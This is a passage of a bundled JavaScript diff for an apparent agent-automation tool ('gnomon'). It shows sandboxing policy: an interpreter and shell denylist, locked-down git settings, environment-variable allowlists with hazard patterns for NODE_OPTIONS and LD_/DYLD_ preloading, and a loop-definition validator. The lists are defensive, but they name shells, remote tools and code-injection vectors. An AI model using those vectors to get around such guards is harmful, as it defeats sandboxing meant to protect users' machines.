+ basename: textRule({ short: "az", shortValue: "s", long: ["--multiple", "--zero"], longValue: ["--suffix"] }),
3411
+ dirname: textRule({ short: "z", long: ["--zero"] }),
3412
+ tr: textRule({ short: "cdsCu" }),
3413
+ which: textRule({ short: "as" }),
3414
+ pwd: textRule({ short: "LP" }, 0),
3415
+ true: textRule({ short: "" }, Infinity),
3416
+ false: textRule({ short: "" }, Infinity),
3417
+ test: testRule,
3418
+ "[": testRule,
3419
+ sort: sortRule,
3420
+ uniq: uniqRule,
3421
+ file: fileRule,
3422
+ date: dateRule,
3423
+ jq: jqRule,
3424
+ find: findRule,
3425
+ awk: awkRule,
3426
+ sed: sedRule,
3427
+ git: gitRule
3428
+ });
3429
+ var ANCHOR_GIT_CONFIG = Object.freeze([
3430
+ ["core.fsmonitor", "false"],
3431
+ ["core.pager", "cat"],
3432
+ ["core.hooksPath", "/dev/null"],
3433
+ ["core.sshCommand", "false"],
3434
+ ["log.showSignature", "false"],
3435
+ ["gpg.program", "false"],
3436
+ ["gpg.ssh.program", "false"],
3437
+ ["gpg.x509.program", "false"],
3438
+ ["credential.helper", ""]
3439
+ ]);
3440
+
3441
+ // src/kernel/supervisor/prefix-policy.ts
3442
+ var ALLOW_NPM_TEST_PREFIX = false;
3443
+ var INTERPRETER_DENYLIST = /* @__PURE__ */ new Set([
3444
+ "sh",
3445
+ "bash",
3446
+ "zsh",
3447
+ "fish",
3448
+ "dash",
3449
+ "ksh",
3450
+ "csh",
3451
+ "tcsh",
3452
+ "env",
3453
+ "exec",
3454
+ "command",
3455
+ "builtin",
3456
+ "eval",
3457
+ "source",
3458
+ ".",
3459
+ "xargs",
3460
+ "find",
3461
+ "nice",
3462
+ "nohup",
3463
+ "timeout",
3464
+ "sudo",
3465
+ "doas",
3466
+ "su",
3467
+ "time",
3468
+ "watch",
3469
+ "node",
3470
+ "deno",
3471
+ "bun",
3472
+ "python",
3473
+ "python3",
3474
+ "ruby",
3475
+ "perl",
3476
+ "php",
3477
+ "lua",
3478
+ "npx",
3479
+ "pnpx",
3480
+ "bunx",
3481
+ "osascript",
3482
+ "open",
3483
+ "awk",
3484
+ "gawk",
3485
+ "mawk",
3486
+ "nawk",
3487
+ "sed",
3488
+ "ssh",
3489
+ "docker",
3490
+ "podman",
3491
+ "kubectl",
3492
+ "uvx",
3493
+ "pipx",
3494
+ // Aegis LP1 review (gnomon-loops §3.1): Windows script hosts and exec wrappers that run another program
3495
+ "cmd",
3496
+ "powershell",
3497
+ "pwsh",
3498
+ "wscript",
3499
+ "cscript",
3500
+ "mshta",
3501
+ "arch",
3502
+ "script",
3503
+ "stdbuf",
3504
+ "setsid",
3505
+ "chroot",
3506
+ "sandbox-exec",
3507
+ "busybox"
3508
+ ]);
3509
+ var BUILD_TOOLS = /* @__PURE__ */ new Set([
3510
+ "npm",
3511
+ "pnpm",
3512
+ "yarn",
3513
+ "bun",
3514
+ "make",
3515
+ "gmake",
3516
+ "cargo",
3517
+ "go",
3518
+ "gradle",
3519
+ "gradlew",
3520
+ "mvn",
3521
+ "mvnw",
3522
+ "rustc",
3523
+ "rustup",
3524
+ "pip",
3525
+ "pip3",
3526
+ "uv",
3527
+ "poetry",
3528
+ "pdm",
3529
+ "hatch",
3530
+ "bundle",
3531
+ "bundler",
3532
+ "rake",
3533
+ "gem",
3534
+ "composer",
3535
+ "dotnet",
3536
+ "swift",
3537
+ "xcodebuild",
3538
+ "cmake",
3539
+ "ninja",
3540
+ "bazel",
3541
+ "bazelisk",
3542
+ "buck",
3543
+ "meson",
3544
+ "just",
3545
+ "task",
3546
+ "ant",
3547
+ "sbt",
3548
+ "lein",
3549
+ "mix",
3550
+ "tsc",
3551
+ "vitest",
3552
+ "jest",
3553
+ "pytest",
3554
+ "tox",
3555
+ "nox",
3556
+ "corepack"
3557
+ ]);
3558
+ var NPM_TEST_ALLOW = { npm: ["test"], pnpm: ["test"], yarn: ["test"] };
3559
+ var BUILD_TOOL_PREFIX_ALLOW = Object.freeze(ALLOW_NPM_TEST_PREFIX ? NPM_TEST_ALLOW : {});
3560
+
3561
+ // src/kernel/scheduler/automation.ts
3562
+ var MIN_AUTOMATION_PERIOD_MS = 6e4;
3563
+ var MAX_AUTOMATION_PERIOD_MS = 10 * 365.25 * 864e5;
3564
+
3565
+ // src/kernel/runner/env.ts
3566
+ var ENV_ALLOWLIST = Object.freeze(["HOME", "USER", "LOGNAME", "LANG", "LC_ALL", "LC_CTYPE", "TMPDIR", "PATH", "SHELL"]);
3567
+ var WINDOWS_EXTRA = Object.freeze([
3568
+ "USERPROFILE",
3569
+ "SYSTEMROOT",
3570
+ "WINDIR",
3571
+ "SystemDrive",
3572
+ "ProgramFiles",
3573
+ "COMSPEC",
3574
+ "PATHEXT",
3575
+ "APPDATA",
3576
+ "LOCALAPPDATA",
3577
+ "TEMP",
3578
+ "CLAUDE_CODE_GIT_BASH_PATH",
3579
+ // W3 (docs/plans/gnomon-windows.md): what Node, Git for Windows and Claude Code read to start on Windows
3580
+ "TMP",
3581
+ "USERNAME",
3582
+ "ProgramData",
3583
+ "ProgramFiles(x86)",
3584
+ "CommonProgramFiles",
3585
+ "HOMEDRIVE",
3586
+ "HOMEPATH",
3587
+ "OS",
3588
+ "PROCESSOR_ARCHITECTURE",
3589
+ "NUMBER_OF_PROCESSORS"
3590
+ ]);
3591
+ var IDENTITY_KEYS = Object.freeze(["USER", "LOGNAME", "SHELL", "TMPDIR"]);
3592
+ var LOOP_ENV_NAME = /^[A-Z_][A-Z0-9_]*$/;
3593
+ var LOOP_ENV_MAX = 32;
3594
+ var LOOP_ENV_HAZARDS = [
3595
+ [/^GNOMON_/i, "a kernel name (a loop child never talks to the kernel)"],
3596
+ [/^(NODE_OPTIONS|NODE_PATH)$/i, "it loads code into the child's runtime"],
3597
+ [/^(DYLD_|LD_)/i, "it loads code into the child's runtime"]
3598
+ ];
3599
+ var KERNEL_SET = new Set([...ENV_ALLOWLIST, ...WINDOWS_EXTRA, "NO_COLOR"].map((k) => k.toUpperCase()));
3600
+ function loopEnvHazard(name) {
3601
+ if (!LOOP_ENV_NAME.test(name)) return "not an environment name (A-Z, 0-9 and _, not starting with a digit)";
3602
+ if (KERNEL_SET.has(name.toUpperCase())) return "the kernel sets it for every child";
3603
+ for (const [re, why] of LOOP_ENV_HAZARDS) if (re.test(name)) return why;
3604
+ return null;
3605
+ }
3606
+ var DARWIN_SESSION_PATH_TAIL = Object.freeze(["/opt/homebrew/bin", "/usr/local/bin", "/usr/bin", "/bin", "/usr/sbin", "/sbin"]);
3607
+ var LINUX_SESSION_PATH_TAIL = Object.freeze(["/usr/local/bin", "/usr/bin", "/bin", "/usr/sbin", "/sbin"]);
3608
+
3609
+ // src/loops/schema.ts
3610
+ var LOOP_ENV_FILES_MAX = 8;
3611
+ var LOOP_SCHEMA = "loop:v2";
3612
+ var LOOP_COMPILED_VERSION = 1;
3613
+ var LOOP_TERMINALS = ["@goal", "@stop", "@pause"];
3614
+ var LOOP_ID_MAX = 64;
3615
+ var LOOP_CALL_DEPTH_MAX = 3;
3616
+ var LOOP_CONTINUOUS_MIN_COOLDOWN_SEC = MIN_AUTOMATION_PERIOD_MS / 1e3;
3617
+ var LANDS_IN_8_1 = "LANDS_IN_8_1";
3618
+ var LOOP_ARGV0_CHECKER_ALLOW = /* @__PURE__ */ new Set(["tsc", "vitest", "jest"]);
3619
+ var LOOP_ALWAYS_PROTECTED = ["node_modules/**", "**/node_modules/**"];
3620
+ var LOOP_BUILTINS = [
3621
+ "paradigm.flow-check",
3622
+ "paradigm.flow-affected",
3623
+ "paradigm.ripple",
3624
+ "paradigm.purpose-validate",
3625
+ "paradigm.drift",
3626
+ "paradigm.reindex",
3627
+ "git.clean"
3628
+ ];
3629
+ var LOOP_AUTONOMY2 = ["act", "propose", "observe"];
3630
+ var LOOP_DECIDE = ["none", "before-land", "on-stop"];
3631
+ var LOOP_NOTIFY_ON = ["goal", "stop", "fail", "landed"];
3632
+ var LOOP_NOTIFY_AS = ["toast", "quiet"];
3633
+ var LOOP_EVENT_KINDS = ["file.changed", "commit.landed", "session.ended", "card.decided"];
3634
+ var LOOP_WEEKDAYS = ["mon", "tue", "wed", "thu", "fri", "sat", "sun"];
3635
+ var LOOP_PARSERS = ["tap", "junit", "tsc"];
3636
+ var LOOP_JSON_OPS = ["==", "!=", "<", "<=", ">", ">="];
3637
+ var LOOP_MODEL_ROLES = ["judge", "summarize", "act"];
3638
+ var LOOP_PARADIGM_TOOLS = ["ripple", "flow.check", "flow.affected", "purpose.validate", "drift"];
3639
+ var LOOP_INPUT_ROOTS = ["trigger", "last", "day", "loop", "failed", "run"];
3640
+ var CHECK_VERDICTS = ["pass", "fail", "error"];
3641
+ var MODEL_VERDICTS = ["pass", "fail", "unsure", "unavailable", "error"];
3642
+ var CALL_VERDICTS = ["pass", "fail", "unsure", "error"];
3643
+ var TOAST_VERDICTS = ["pass"];
3644
+ var LOOP_BUDGET_DEFAULTS = Object.freeze({
3645
+ run: Object.freeze({ rounds: 8, wallMin: 60, tokens: 4e5, computeSec: 1800 }),
3646
+ day: Object.freeze({ runs: 24, tokens: 2e6, computeSec: 7200 }),
3647
+ escalations: Object.freeze({ perRun: 0, perDay: 0 })
3648
+ });
3649
+ var LOOP_DEFAULTS = Object.freeze({
3650
+ autonomy: "act",
3651
+ decide: "none",
3652
+ notify: Object.freeze({ on: Object.freeze(["fail"]), as: "toast" }),
3653
+ catchUp: "skip",
3654
+ debounceSec: 0,
3655
+ effect: "read",
3656
+ timeoutSec: 600,
3657
+ landMaxWaitMin: 120,
3658
+ modelLimits: Object.freeze({ turns: 20, tokens: 8e4 }),
3659
+ minConfidence: 0.7
3660
+ });
3661
+ var KEBAB = /^[a-z][a-z0-9]*(?:-[a-z0-9]+)*$/;
3662
+ var FLOW_ID = /^\$[a-z][a-z0-9]*(?:-[a-z0-9]+)*$/;
3663
+ var HHMM = /^(?:[01]\d|2[0-3]):[0-5]\d$/;
3664
+ var CALL_REF = /^([a-z][a-z0-9]*(?:-[a-z0-9]+)*)@([0-9a-f]{8})$/;
3665
+ var INPUT_REF = /^([a-z][a-z0-9]*(?:-[a-z0-9]+)*)\.([A-Za-z][A-Za-z0-9-]*)$/;
3666
+ var DURATION = /^(\d+)\s*(s|m|h|d)?$/;
3667
+ var COUNT = /^(\d+(?:\.\d+)?)\s*([kKmM])?$/;
3668
+ var DURATION_UNIT = { s: 1, m: 60, h: 3600, d: 86400 };
3669
+ var TEN_YEARS_SEC = 10 * 366 * 86400;
3670
+ var ANY = "any";
3671
+ var isObj = (v) => typeof v === "object" && v !== null && !Array.isArray(v);
3672
+ var has = (o, k) => Object.prototype.hasOwnProperty.call(o, k) && o[k] !== void 0;
3673
+ var join2 = (base, key) => typeof key === "number" ? `${base}[${key}]` : base ? `${base}.${key}` : key;
3674
+ function parseDurationSec(v) {
3675
+ if (typeof v === "number") return Number.isInteger(v) && v >= 0 ? v : null;
3676
+ if (typeof v !== "string") return null;
3677
+ const m = DURATION.exec(v.trim());
3678
+ if (!m) return null;
3679
+ return Number(m[1]) * DURATION_UNIT[m[2] ?? "s"];
3680
+ }
3681
+ function parseCount(v) {
3682
+ if (typeof v === "number") return Number.isInteger(v) && v > 0 ? v : null;
3683
+ if (typeof v !== "string") return null;
3684
+ const m = COUNT.exec(v.trim());
3685
+ if (!m) return null;
3686
+ const mult = m[2] === void 0 ? 1 : m[2].toLowerCase() === "k" ? 1e3 : 1e6;
3687
+ const n = Math.round(Number(m[1]) * mult);
3688
+ return Number.isSafeInteger(n) && n > 0 ? n : null;
3689
+ }
3690
+ function baseName(argv0) {
3691
+ const base = argv0.split(/[\\/]/).pop() ?? argv0;
3692
+ return base.toLowerCase().replace(/[. ]+$/, "");
3693
+ }
3694
+ function programName(argv0) {
3695
+ let name = baseName(argv0);
3696
+ for (let prev = ""; prev !== name; ) {
3697
+ prev = name;
3698
+ name = name.replace(/\.(exe|com)$/, "").replace(/[. ]+$/, "");
3699
+ }
3700
+ return name;
3701
+ }
3702
+ function argvIssues(argv, path2) {
3703
+ const out = [];
3704
+ if (!Array.isArray(argv) || argv.length === 0) {
3705
+ out.push({ path: path2, code: "ARGV_EMPTY", message: "run must be a non-empty list of literal argv words" });
3706
+ return out;
3707
+ }
3708
+ argv.forEach((w, i) => {
3709
+ const p = join2(path2, i);
3710
+ if (typeof w !== "string" || w.length === 0 || w.length > 4096 || w.includes("\0")) {
3711
+ out.push({ path: p, code: "BAD_TYPE", message: "each argv word is a non-empty string (\u2264 4096 characters, no NUL)" });
3712
+ } else if (w.includes("{{")) {
3713
+ out.push({ path: p, code: "ARGV_TEMPLATED", message: "argv is literal: templates ({{\u2026}}) are never expanded in run" });
3714
+ }
3715
+ });
3716
+ const a0 = argv[0];
3717
+ if (typeof a0 === "string" && a0.length > 0) {
3718
+ const name = programName(a0);
3719
+ if (/\.(cmd|bat)$/.test(baseName(a0))) {
3720
+ out.push({ path: join2(path2, 0), code: "ARGV0_BATCH", message: `${a0}: a .cmd or .bat runs through cmd.exe; name the binary directly` });
3721
+ } else if (name === "" || INTERPRETER_DENYLIST.has(name) || INTERPRETER_DENYLIST.has((a0.split(/[\\/]/).pop() ?? a0).toLowerCase()) || /^python/.test(name)) {
3722
+ out.push({ path: join2(path2, 0), code: "ARGV0_INTERPRETER", message: `${a0}: argv0 must be a direct binary, not a runner, shell or interpreter` });
3723
+ } else if (BUILD_TOOLS.has(name) && !LOOP_ARGV0_CHECKER_ALLOW.has(name)) {
3724
+ out.push({ path: join2(path2, 0), code: "ARGV0_BUILD_TOOL", message: `${a0}: a build tool or package manager runs repo-controlled scripts; name the checker binary directly` });
3725
+ }
3726
+ }
3727
+ return out;
3728
+ }
3729
+ function callTargets(def) {
3730
+ if (!isObj(def) || !Array.isArray(def.nodes)) return [];
3731
+ const out = [];
3732
+ for (const n of def.nodes) {
3733
+ if (isObj(n) && n.type === "call" && typeof n.loop === "string") {
3734
+ const m = CALL_REF.exec(n.loop);
3735
+ if (m) out.push(m[1]);
3736
+ }
3737
+ }
3738
+ return out;
3739
+ }
3740
+ var Checker = class {
3741
+ errors = [];
3742
+ warnings = [];
3743
+ err(path2, code, message) {
3744
+ this.errors.push({ path: path2, code, message });
3745
+ }
3746
+ warn(path2, code, message) {
3747
+ this.warnings.push({ path: path2, code, message });
3748
+ }
3749
+ later(path2, what) {
3750
+ this.err(path2, LANDS_IN_8_1, `${what} lands in 8.1`);
3751
+ }
3752
+ /** Refuse keys outside `allowed` (closed shape); `deferred` keys get LANDS_IN_8_1 instead. */
3753
+ closed(o, path2, allowed, deferred = {}) {
3754
+ for (const k of Object.keys(o)) {
3755
+ if (allowed.includes(k)) continue;
3756
+ if (k in deferred) this.later(join2(path2, k), deferred[k]);
3757
+ else this.err(join2(path2, k), "UNKNOWN_KEY", `unknown key "${k}" (allowed: ${allowed.join(", ")})`);
3758
+ }
3759
+ }
3760
+ obj(v, path2, what) {
3761
+ if (isObj(v)) return true;
3762
+ this.err(path2, "BAD_TYPE", `${what} must be a mapping`);
3763
+ return false;
3764
+ }
3765
+ str(v, path2, what, max = 4096) {
3766
+ if (typeof v === "string" && v.length > 0 && v.length <= max) return true;
3767
+ this.err(path2, "BAD_TYPE", `${what} must be a non-empty string (\u2264 ${max} characters)`);
3768
+ return false;
3769
+ }
3770
+ kebab(v, path2, what) {
3771
+ if (typeof v === "string" && v.length <= LOOP_ID_MAX && KEBAB.test(v)) return true;
3772
+ this.err(path2, "BAD_ID", `${what} must be kebab-case, \u2264 ${LOOP_ID_MAX} characters`);
3773
+ return false;
3774
+ }
3775
+ oneOf(v, path2, what, allowed) {
3776
+ if (typeof v === "string" && allowed.includes(v)) return true;
3777
+ this.err(path2, "BAD_ENUM", `${what} must be one of: ${allowed.join(", ")}`);
3778
+ return false;
3779
+ }
3780
+ posInt(v, path2, what) {
3781
+ if (typeof v === "number" && Number.isSafeInteger(v) && v > 0) return true;
3782
+ this.err(path2, "BAD_NUMBER", `${what} must be a positive integer`);
3783
+ return false;
3784
+ }
3785
+ strList(v, path2, what, opts = {}) {
3786
+ if (!Array.isArray(v) || opts.nonEmpty && v.length === 0) {
3787
+ this.err(path2, "BAD_TYPE", `${what} must be a ${opts.nonEmpty ? "non-empty " : ""}list of strings`);
3788
+ return false;
3789
+ }
3790
+ let ok = true;
3791
+ v.forEach((s, i) => {
3792
+ if (!this.str(s, join2(path2, i), `${what} entry`)) ok = false;
3793
+ });
3794
+ return ok;
3795
+ }
3796
+ glob(v, path2) {
3797
+ if (!this.str(v, path2, "a path glob", 512)) return;
3798
+ if (v.startsWith("/") || /^[A-Za-z]:[\\/]/.test(v) || v.startsWith("~") || v.includes("\\") || v.split("/").includes("..")) {
3799
+ this.err(path2, "BAD_GLOB", "a path glob is repo-relative (no absolute path, ~, \\ or .. segment)");
3800
+ }
3801
+ }
3802
+ duration(v, path2, what) {
3803
+ const sec = parseDurationSec(v);
3804
+ if (sec === null || sec > TEN_YEARS_SEC) {
3805
+ this.err(path2, "BAD_DURATION", `${what} must be a duration like 90s, 30m, 2h, 1d or integer seconds`);
3806
+ return null;
3807
+ }
3808
+ return sec;
3809
+ }
3810
+ count(v, path2, what) {
3811
+ const n = parseCount(v);
3812
+ if (n === null) this.err(path2, "BAD_BUDGET", `${what} must be a positive count like 80000, 400k or 2M`);
3813
+ return n;
3814
+ }
3815
+ /** TD-2026-10-23-268: a node's `env` list: ≤ LOOP_ENV_MAX distinct names, none a hazard (loopEnvHazard). */
3816
+ envList(v, path2) {
3817
+ if (!Array.isArray(v)) {
3818
+ this.err(path2, "BAD_TYPE", "env is a list of environment variable names");
3819
+ return;
3820
+ }
3821
+ if (v.length > LOOP_ENV_MAX) this.err(path2, "ENV_TOO_MANY", `env names at most ${LOOP_ENV_MAX} variables`);
3822
+ const seen = /* @__PURE__ */ new Set();
3823
+ v.forEach((n, i) => {
3824
+ const p = join2(path2, i);
3825
+ if (typeof n !== "string" || !LOOP_ENV_NAME.test(n) || n.length > 128) {
3826
+ this.err(p, "BAD_ENV_NAME", "an env name matches ^[A-Z_][A-Z0-9_]*$ (\u2264 128 characters)");
3827
+ return;
3828
+ }
3829
+ if (seen.has(n)) this.err(p, "ENV_DUPLICATE", `${n} is named twice`);
3830
+ seen.add(n);
3831
+ const why = loopEnvHazard(n);
3832
+ if (why) this.err(p, "ENV_REFUSED", `${n} is refused: ${why}`);
3833
+ });
3834
+ }
3835
+ /** TD-2026-10-23-268: the loop's env files: ≤ LOOP_ENV_FILES_MAX distinct paths, repo-relative (no ..), ~/… or absolute. */
3836
+ envFiles(v, path2) {
3837
+ if (!Array.isArray(v)) {
3838
+ this.err(path2, "BAD_TYPE", "envFiles is a list of paths");
3839
+ return;
3840
+ }
3841
+ if (v.length > LOOP_ENV_FILES_MAX) this.err(path2, "ENV_FILES_TOO_MANY", `envFiles names at most ${LOOP_ENV_FILES_MAX} files`);
3842
+ const seen = /* @__PURE__ */ new Set();
3843
+ v.forEach((f, i) => {
3844
+ const p = join2(path2, i);
3845
+ if (typeof f !== "string" || f.length === 0 || f.length > 1024 || /[\0\r\n]/.test(f)) {
3846
+ this.err(p, "BAD_ENV_FILE", "an env file is a non-empty path (\u2264 1024 characters, one line)");
3847
+ return;
3848
+ }
3849
+ const abs = f.startsWith("/") || /^[A-Za-z]:[\\/]/.test(f);
3850
+ const home = f.startsWith("~/");
3851
+ if (!abs && !home && (f.startsWith("~") || f.includes("\\") || f.split("/").includes(".."))) {
3852
+ this.err(p, "BAD_ENV_FILE", "an env file is repo-relative (no .. segment or \\), ~/\u2026 or absolute");
3853
+ return;
3854
+ }
3855
+ const base = f.split(/[\\/]/).pop() ?? f;
3856
+ if (isConfigNamedEnvFile(base)) this.err(p, "ENV_FILE_CONFIG", `${base} is a config file tools run; name a dotenv file (such as .env.loop) instead`);
3857
+ if (seen.has(f)) this.err(p, "ENV_FILE_DUPLICATE", `${f} is named twice`);
3858
+ seen.add(f);
3859
+ });
3860
+ }
3861
+ literalArgs(v, path2) {
3862
+ if (typeof v === "string") {
3863
+ if (v.includes("{{")) this.err(path2, "ARGV_TEMPLATED", "builtin args are literal: templates ({{\u2026}}) are never expanded");
3864
+ } else if (Array.isArray(v)) {
3865
+ v.forEach((x, i) => this.literalArgs(x, join2(path2, i)));
3866
+ } else if (isObj(v)) {
3867
+ for (const [k, x] of Object.entries(v)) this.literalArgs(x, join2(path2, k));
3868
+ } else if (!(v === null || typeof v === "number" || typeof v === "boolean")) {
3869
+ this.err(path2, "BAD_TYPE", "builtin args hold JSON values only");
3870
+ }
3871
+ }
3872
+ };
3873
+ function loopContentHash(parsed) {
3874
+ return createHash("sha256").update(canonicalJson(parsed)).digest("hex");
3875
+ }
3876
+ function argvPathWords(argv) {
3877
+ const out = [];
3878
+ for (const w of argv) {
3879
+ if (typeof w !== "string") continue;
3880
+ const v = w.startsWith("-") ? w.includes("=") ? w.slice(w.indexOf("=") + 1) : "" : w;
3881
+ if (!v || v.startsWith("-") || v.startsWith("/") || v.startsWith("~") || v.includes("\\") || /^[A-Za-z]:/.test(v)) continue;
3882
+ if (v.split("/").includes("..")) continue;
3883
+ if (v.includes("/") || /\.[A-Za-z0-9]+$/.test(v)) out.push(v.replace(/^(\.\/)+/, ""));
3884
+ }
3885
+ return out;
3886
+ }
3887
+ function ownProtected(def) {
3888
+ if (!isObj(def)) return [];
3889
+ const out = [];
3890
+ if (isObj(def.goal) && Array.isArray(def.goal.inputs)) {
3891
+ for (const x of def.goal.inputs) if (typeof x === "string") out.push(x);
3892
+ }
3893
+ if (Array.isArray(def.nodes)) {
3894
+ for (const n of def.nodes) if (isObj(n) && n.type === "check" && Array.isArray(n.run)) out.push(...argvPathWords(n.run));
3895
+ }
3896
+ if (Array.isArray(def.envFiles)) {
3897
+ for (const f of def.envFiles) {
3898
+ if (typeof f !== "string" || f.startsWith("/") || f.startsWith("~") || /^[A-Za-z]:[\\/]/.test(f) || f.includes("\\")) continue;
3899
+ const rel = f.split("/").filter((x) => x !== "" && x !== ".").join("/");
3900
+ if (rel && !rel.split("/").includes("..")) out.push(rel);
3901
+ }
3902
+ }
3903
+ return out;
3904
+ }
3905
+ var knownMap = (k) => k ? k instanceof Map ? new Map(k) : new Map(Object.entries(k)) : void 0;
3906
+ function nonFinite(c, v, path2, depth = 0) {
3907
+ if (depth > 64) return;
3908
+ if (typeof v === "number" && !Number.isFinite(v)) c.err(path2, "NON_FINITE", "numbers are finite (no .nan or .inf)");
3909
+ else if (Array.isArray(v)) v.forEach((x, i) => nonFinite(c, x, join2(path2, i), depth + 1));
3910
+ else if (isObj(v)) for (const [k, x] of Object.entries(v)) nonFinite(c, x, join2(path2, k), depth + 1);
3911
+ }
3912
+ function validateInto(c, input, opts) {
3913
+ if (!c.obj(input, "", "a loop definition")) return;
3914
+ const d = input;
3915
+ nonFinite(c, d, "");
3916
+ const scope = opts.scope ?? "repo";
3917
+ c.closed(d, "", ["schema", "id", "title", "repo", "flows", "triggers", "autonomy", "notify", "decide", "budgets", "goal", "land", "redact", "envFiles", "network", "start", "nodes"], {
3918
+ claude: "the Claude subscription opt-in (claude:)",
3919
+ envelope: "the loop envelope",
3920
+ envelopeId: "the loop envelope"
3921
+ });
3922
+ if (d.schema !== LOOP_SCHEMA) c.err("schema", "BAD_SCHEMA", `schema must be "${LOOP_SCHEMA}"`);
3923
+ if (!has(d, "id")) c.err("id", "REQUIRED", "id is required");
3924
+ else c.kebab(d.id, "id", "id");
3925
+ if (has(d, "title")) c.str(d.title, "title", "title", 200);
3926
+ if (scope === "repo" && has(d, "repo")) c.err("repo", "REPO_SCOPE", "repo is for personal loops only; a repo loop runs in its own repo");
3927
+ if (scope === "personal") {
3928
+ if (!has(d, "repo")) c.err("repo", "REQUIRED", "a personal loop names its repo (an absolute path)");
3929
+ else if (c.str(d.repo, "repo", "repo") && !(d.repo.startsWith("/") || /^[A-Za-z]:[\\/]/.test(d.repo))) {
3930
+ c.err("repo", "BAD_PATH", "repo must be an absolute path");
3931
+ }
3932
+ }
3933
+ const flowRefs = [];
3934
+ if (has(d, "flows") && c.strList(d.flows, "flows", "flows")) {
3935
+ d.flows.forEach((f, i) => {
3936
+ if (!FLOW_ID.test(f)) c.err(join2("flows", i), "BAD_ID", "a flow is a $kebab-id");
3937
+ else flowRefs.push({ path: join2("flows", i), flow: f });
3938
+ });
3939
+ }
3940
+ if (has(d, "autonomy")) c.oneOf(d.autonomy, "autonomy", "autonomy", LOOP_AUTONOMY2);
3941
+ if (has(d, "redact") && typeof d.redact !== "boolean") c.oneOf(d.redact, "redact", "redact", ["on", "off"]);
3942
+ if (has(d, "network") && typeof d.network !== "boolean") c.oneOf(d.network, "network", "network", ["on", "off"]);
3943
+ if (has(d, "envFiles")) c.envFiles(d.envFiles, "envFiles");
3944
+ if (has(d, "decide")) c.oneOf(d.decide, "decide", "decide", LOOP_DECIDE);
3945
+ if (has(d, "notify") && c.obj(d.notify, "notify", "notify")) {
3946
+ c.closed(d.notify, "notify", ["on", "as"]);
3947
+ if (has(d.notify, "on")) {
3948
+ if (!Array.isArray(d.notify.on)) c.err("notify.on", "BAD_TYPE", "notify.on must be a list");
3949
+ else d.notify.on.forEach((x, i) => c.oneOf(x, join2("notify.on", i), "notify.on entry", LOOP_NOTIFY_ON));
3950
+ }
3951
+ if (has(d.notify, "as")) c.oneOf(d.notify.as, "notify.as", "notify.as", LOOP_NOTIFY_AS);
3952
+ }
3953
+ const budgets = has(d, "budgets") && c.obj(d.budgets, "budgets", "budgets") ? d.budgets : void 0;
3954
+ if (budgets) {
3955
+ c.closed(budgets, "budgets", ["run", "day", "escalations"]);
3956
+ const block = (k, ints, counts) => {
3957
+ if (!has(budgets, k) || !c.obj(budgets[k], join2("budgets", k), `budgets.${k}`)) return;
3958
+ const b = budgets[k];
3959
+ c.closed(b, join2("budgets", k), [...ints, ...counts]);
3960
+ for (const f of ints) if (has(b, f)) c.posInt(b[f], `budgets.${k}.${f}`, `budgets.${k}.${f}`);
3961
+ for (const f of counts) if (has(b, f)) c.count(b[f], `budgets.${k}.${f}`, `budgets.${k}.${f}`);
3962
+ };
3963
+ block("run", ["rounds", "wallMin", "computeSec"], ["tokens"]);
3964
+ block("day", ["runs", "computeSec"], ["tokens"]);
3965
+ if (has(budgets, "escalations") && c.obj(budgets.escalations, "budgets.escalations", "budgets.escalations")) {
3966
+ const e = budgets.escalations;
3967
+ c.closed(e, "budgets.escalations", ["perRun", "perDay"]);
3968
+ for (const f of ["perRun", "perDay"]) {
3969
+ if (has(e, f) && !(typeof e[f] === "number" && Number.isSafeInteger(e[f]) && e[f] >= 0)) {
3970
+ c.err(`budgets.escalations.${f}`, "BAD_NUMBER", `budgets.escalations.${f} must be a non-negative integer`);
3971
+ }
3972
+ }
3973
+ }
3974
+ }
3975
+ const runB = budgets && isObj(budgets.run) ? budgets.run : void 0;
3976
+ const dayB = budgets && isObj(budgets.day) ? budgets.day : void 0;
3977
+ const g = { nodeTypes: /* @__PURE__ */ new Map(), nodeIndex: /* @__PURE__ */ new Map(), nodeHasRun: /* @__PURE__ */ new Set(), callees: [] };
3978
+ const edges = [];
3979
+ if (!has(d, "nodes")) c.err("nodes", "REQUIRED", "nodes is required");
3980
+ else if (!Array.isArray(d.nodes) || d.nodes.length === 0) c.err("nodes", "BAD_TYPE", "nodes must be a non-empty list");
3981
+ else {
3982
+ d.nodes.forEach((n, i) => {
3983
+ if (isObj(n) && typeof n.id === "string" && KEBAB.test(n.id)) {
3984
+ if (g.nodeTypes.has(n.id)) c.err(join2(join2("nodes", i), "id"), "DUPLICATE_ID", `node id "${n.id}" is used twice`);
3985
+ else {
3986
+ g.nodeTypes.set(n.id, typeof n.type === "string" ? n.type : "?");
3987
+ g.nodeIndex.set(n.id, i);
3988
+ }
3989
+ }
3990
+ });
3991
+ d.nodes.forEach((n, i) => validateNode(c, n, join2("nodes", i), g, edges));
3992
+ }
3993
+ const goalEdges = [];
3994
+ for (const e of edges) {
3995
+ if (typeof e.target !== "string") {
3996
+ c.err(e.path, "BAD_TYPE", "an edge target is a node id or a terminal (@goal, @stop, @pause)");
3997
+ continue;
3998
+ }
3999
+ if (e.target.startsWith("@")) {
4000
+ if (!LOOP_TERMINALS.includes(e.target)) c.err(e.path, "UNKNOWN_TARGET", `${e.target} is not a terminal (@goal, @stop, @pause)`);
4001
+ else if (e.target === "@goal") goalEdges.push(e);
4002
+ } else if (!g.nodeTypes.has(e.target)) {
4003
+ c.err(e.path, "UNKNOWN_TARGET", `edge target "${e.target}" is not a node id or a terminal`);
4004
+ }
4005
+ }
4006
+ if (!has(d, "start")) c.err("start", "REQUIRED", "start is required");
4007
+ else if (typeof d.start !== "string" || !g.nodeTypes.has(d.start)) c.err("start", "UNKNOWN_TARGET", "start must name a node");
4008
+ const goal = has(d, "goal") && c.obj(d.goal, "goal", "goal") ? d.goal : void 0;
4009
+ if (goal) {
4010
+ c.closed(goal, "goal", ["node", "verdict", "inputs"]);
4011
+ if (!has(goal, "node")) c.err("goal.node", "REQUIRED", "goal.node is required");
4012
+ else if (typeof goal.node !== "string" || !g.nodeTypes.has(goal.node)) c.err("goal.node", "UNKNOWN_TARGET", "goal.node must name a node");
4013
+ else if (g.nodeTypes.get(goal.node) !== "check") c.err("goal.node", "GOAL_NOT_CHECK", "goal.node must name a check node: progress rests on something that cannot lie (LL2)");
4014
+ else if (g.nodeHasRun.has(goal.node) && !(Array.isArray(goal.inputs) && goal.inputs.length > 0)) {
4015
+ c.err("goal.inputs", "GOAL_INPUTS_REQUIRED", "a goal on a run check declares goal.inputs (the globs act nodes may not edit)");
4016
+ }
4017
